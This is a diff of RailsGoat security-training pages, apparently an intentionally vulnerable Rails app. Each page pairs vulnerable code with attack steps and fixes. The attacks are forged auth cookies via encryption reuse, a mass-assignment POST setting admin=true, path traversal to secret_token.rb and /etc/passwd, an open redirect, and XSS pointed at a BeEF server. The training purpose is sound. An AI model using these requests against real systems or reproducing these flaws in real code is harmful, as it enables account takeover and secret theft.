- We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.
- Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
-
-
- # callbacks
- before_save :encrypt_bank_account_num
+ def self.decrypt_sensitive_value(val="")
+ aes = OpenSSL::Cipher::Cipher.new(cipher_type)
+ aes.decrypt
+ aes.key = key
+ aes.iv = iv if iv != nil
+ decoded = Base64.strict_decode64("#{val}")
+ aes.update("#{decoded}") + aes.final
+ end
+
+
+ We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.
+ Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
+
+
+ # callbacks
+ before_save :encrypt_bank_account_num
- def encrypt_bank_account_num
- self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
- end
-
-
- Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file:
-
-
- def show
- respond_to do |format|
- format.json { render :json => {:user => current_user.pay.as_json} }
- end
- end
-
-
- Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb):
-
-
- before_create { generate_token(:auth_token) }
+ def encrypt_bank_account_num
+ self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
+ end
+
+
+ Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file:
+
+
+ def show
+ respond_to do |format|
+ format.json { render :json => {:user => current_user.pay.as_json} }
+ end
+ end
+
+
+ Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb):
+
+
+ before_create { generate_token(:auth_token) }
- def generate_token(column)
- begin
- self[column] = Encryption.encrypt_sensitive_value(self.user_id)
- end while User.exists?(column => self[column])
- end
-
+ def generate_token(column)
+ begin
+ self[column] = Encryption.encrypt_sensitive_value(self.user_id)
+ end while User.exists?(column => self[column])
+ end
+
Insecure Encryption Re-use ATTACK:
-- Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality. -
-Insecure Encryption Re-use SOLUTION:
-- Create an entirely new encryption routine or create the SHA1 hash with a different salt. -
++ Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality. +
+Insecure Encryption Re-use SOLUTION:
++ Create an entirely new encryption routine or create the SHA1 hash with a different salt. +
- The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation. -
+ The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation. +- The bug is introduced within app/models/user.rb, seen on line 3 (:admin): -
--
- <%= %q{
- class User < ActiveRecord::Base
- attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
- } %>
-
-
- - Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: -
-- # Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute... - # is true or false thanks to ActiveRecord - User.new(:email => "email@email.com", - :admin => "true", - :password => "h4xx0r", - :first_name => "Captain", - :last_name => "Crunch" - ) -+ The bug is introduced within app/models/user.rb, seen on line 3 (:admin): + +
+
+ <%= %q{
+ class User < ActiveRecord::Base
+ attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
+ } %>
+
+
+ + Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: +
++ # Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute... + # is true or false thanks to ActiveRecord + User.new(:email => "email@email.com", + :admin => "true", + :password => "h4xx0r", + :first_name => "Captain", + :last_name => "Crunch" + ) +
Mass Assignment ATTACK:
-- Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... -
-- POST /users HTTP/1.1 - Host: railsgoat.dev - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 - Accept-Encoding: gzip, deflate - Referer: http://railsgoat.dev/signup - Cookie: _railsgoat_session=[redacted] - Connection: keep-alive - Content-Type: application/x-www-form-urlencoded - Content-Length: 248 ++Mass Assignment ATTACK:
++ Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... +
++ POST /users HTTP/1.1 + Host: railsgoat.dev + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://railsgoat.dev/signup + Cookie: _railsgoat_session=[redacted] + Connection: keep-alive + Content-Type: application/x-www-form-urlencoded + Content-Length: 248 - utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit --- ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. -
-utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&user[admin]=true --- So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. -
-- def create - user = User.new(params[:user]) - user.build_retirement(POPULATE_RETIREMENTS.shuffle.first) - user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first) - user.build_work_info(POPULATE_WORK_INFO.shuffle.first) - user.performance.build(POPULATE_PERFORMANCE.shuffle.first) - if user.save - session[:user_id] = user.user_id - redirect_to home_dashboard_index_path - else - @user = user - render :new - end - end --- The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. -
-Mass Assignment SOLUTION:
-- The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: -
-- # Note that the admin attr has been removed - <%= %q{ - class User < ActiveRecord::Base - attr_accessible :email, :password, :password_confirmation, :first_name, :last_name - } %> -+ utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit +
+ ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. +
+ utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&user[admin]=true
+
+ + So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. +
+
+ def create
+ user = User.new(params[:user])
+ user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
+ user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
+ user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
+ user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
+ if user.save
+ session[:user_id] = user.user_id
+ redirect_to home_dashboard_index_path
+ else
+ @user = user
+ render :new
+ end
+ end
+
+ + The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. +
+Mass Assignment SOLUTION:
++ The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: +
+
+ # Note that the admin attr has been removed
+ <%= %q{
+ class User < ActiveRecord::Base
+ attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
+ } %>
+
+
Did you register your account correctly? How about when you updated your settings? -
+- The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced. -
+ The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced. +- Within the file app/controllers/benefit_forms_controller.rb: -
-- def download - begin - path = Rails.root.join('public', 'docs', params[:name]) - file = params[:type].constantize.new(path) - send_file file, :disposition => 'attachment' - rescue - redirect_to user_benefit_forms_path(:user_id => current_user.user_id) - end - end --
- The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. -
+ Within the file app/controllers/benefit_forms_controller.rb: + ++ def download + begin + path = Rails.root.join('public', 'docs', params[:name]) + file = params[:type].constantize.new(path) + send_file file, :disposition => 'attachment' + rescue + redirect_to user_benefit_forms_path(:user_id => current_user.user_id) + end + end ++
+ The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. +
Constantize ATTACK:
-- In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. -
-- http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File --
- Change the name parameter to something a little more fun like: -
-- http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File --
- This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.
Example:
-
- ../../../../../../../etc/passwd&type=File --
Constantize SOLUTION:
-- In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: -
-- # More secure version - def download - file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"} - begin - if file_assoc.has_key?(params[:name].to_s) - path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s]) - if params[:type] == "File" - file = params[:type].constantize.new(path) - send_file file, :disposition => 'attachment' - end - else - file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf") - send_file file, :disposition => 'attachment' - end - rescue - redirect_to user_benefit_forms_path(:user_id => current_user.user_id) - end - end --
- The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. -
++ In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. +
++ http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File ++
+ Change the name parameter to something a little more fun like: +
++ http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File ++
+ This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.
Example:
+
+ ../../../../../../../etc/passwd&type=File ++
Constantize SOLUTION:
++ In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: +
++ # More secure version + def download + file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"} + begin + if file_assoc.has_key?(params[:name].to_s) + path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s]) + if params[:type] == "File" + file = params[:type].constantize.new(path) + send_file file, :disposition => 'attachment' + end + else + file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf") + send_file file, :disposition => 'attachment' + end + rescue + redirect_to user_benefit_forms_path(:user_id => current_user.user_id) + end + end ++
+ The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. +
+
Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages. -
-+
+Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected. -
+- The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. -
-- def create - path = params[:url].present? ? params[:url] : home_dashboard_index_path - begin - # Normalize the email address, why not - user = User.authenticate(params[:email].to_s.downcase, params[:password]) - # @url = params[:url] - rescue Exception => e - end ++ The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. +
++ def create + path = params[:url].present? ? params[:url] : home_dashboard_index_path + begin + # Normalize the email address, why not + user = User.authenticate(params[:email].to_s.downcase, params[:password]) + # @url = params[:url] + rescue Exception => e + end - if user - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - redirect_to path - else - # Removed this code, just doesn't seem specific enough! - # flash[:error] = "Either your username and password is incorrect" - flash[:error] = e.message - render "new" - end - end -+ if user + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? + redirect_to path + else + # Removed this code, just doesn't seem specific enough! + # flash[:error] = "Either your username and password is incorrect" + flash[:error] = e.message + render "new" + end + end +
Unvalidated Redirects and Forwards - ATTACK
-
- Ensure you are logged out of the application. When requesting the login page, ensure you append a url=
Unvalidated Redirects and Forwards - SOLUTION
-- To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: -
-- path = home_dashboard_index_path - begin - if params[:url].present? - path = URI.parse(params[:url]).path - end - rescue - end --
- Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z. -
+
+ Ensure you are logged out of the application. When requesting the login page, ensure you append a url=
Unvalidated Redirects and Forwards - SOLUTION
++ To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: +
++ path = home_dashboard_index_path + begin + if params[:url].present? + path = URI.parse(params[:url]).path + end + rescue + end ++
+ Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z. +
+
Read the description section, fairly big hint there. -
+- Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. -
+ Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. +- The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section. -
+ The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section. +- In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add: -
-- config.force_ssl = true --
- To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): -
-
- Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', :secure => true
-
+ In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add:
+
+ + config.force_ssl = true ++
+ To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): +
+
+ Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', :secure => true
+
- The following code was taken from app/views/sessions/new.html.erb: -
-
- <%=
- %{
-
- }
- %>
-
- - The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. -
+ } + %> + ++ The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. +
Stored Cross-Site Scripting ATTACK:
-- Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box: -
-
- <%= %{http://127.0.0.1:3000/#test=} %>
-
- Stored Cross-Site Scripting SOLUTION:
-- Leverage the Hogan function for escaping (found in the application.js file) to escape user input: -
-
- <%= %{
-
-
- }
+
+ Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box:
+
+
+ <%= %{http://127.0.0.1:3000/#test=} %>
+
+ Stored Cross-Site Scripting SOLUTION:
+
+ Leverage the Hogan function for escaping (found in the application.js file) to escape user input:
+
+
+ <%= %{
+
+
+ }
- %>
-
+ %>
+
Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb
--
- <%= @code %> -+
+
+ <%= @code %> +-
- Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. -
- # Psuedo-code to help conceptualize - def raw(dirty_string) - dirty_string.to_s.html_safe - end -+
+ Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. +
+ # Psuedo-code to help conceptualize + def raw(dirty_string) + dirty_string.to_s.html_safe + end +- +
Stored Cross-Site Scripting ATTACK:
-When registering, enter your JavaScript tag such as <%= %{} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %> and have some fun as well. -
-Stored Cross-Site Scripting SOLUTION:
-- Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). -
+When registering, enter your JavaScript tag such as <%= %{} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %> and have some fun as well. +
+Stored Cross-Site Scripting SOLUTION:
++ Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). +